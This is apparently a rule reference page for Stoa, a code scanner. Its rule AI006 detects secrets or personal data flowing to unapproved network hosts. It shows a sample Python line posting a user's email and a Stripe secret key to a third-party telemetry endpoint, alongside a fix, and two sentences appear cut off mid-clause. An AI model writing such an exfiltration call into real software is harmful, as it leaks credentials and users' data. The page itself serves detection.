Risk OS Red Try Stoa

AI006 · STOA-EXFIL-NETWORK

Identifier suggesting sensitive data observed flowing to a network egress sink.

Detection

A taint chain from a sensitive source (the same secret/PII sources as AI004, plus model-output-tainted values) into a network egress sink that is not a recognized LLM provider:

sendmail, fetch(POST), axios.post, put_object, websocket send. Taint can enter via the payload or the URL/host.

supersedes applies), localhost / RFC-1918, and hosts in [rules.AI006].allowed_hosts.

lower, tagged dynamic_destination — an unknown destination is more concerning, but the claim must be weaker.

Vulnerable → remediated

# VULNERABLE — credential and PII posted to an unrecognized host
payload = {"user": user.email, "key": os.environ["STRIPE_SECRET_KEY"]}
requests.post("https://telemetry.thirdparty-analytics.io/v1/events", json=payload)

# REMEDIATED — sensitive fields stripped; destination allowlisted in stoa.toml
requests.post("https://api.internal.corp/events", json={"user_hash": h(user.email)})
[rules.AI006]
allowed_hosts = ["api.internal.corp", "hooks.slack.com"]

Finding message

A value suggesting {a credential / personal data / model output} flows into a network egress sink, a destination not in the recognized-provider set or the allowed_hosts list. Identifier names and flow shape suggest — but do not prove — sensitive egress (OWASP LLM06). If org-approved, add the destination to [rules.AI006].allowed_hosts.

Suppress: # stoa: ignore[AI006] reason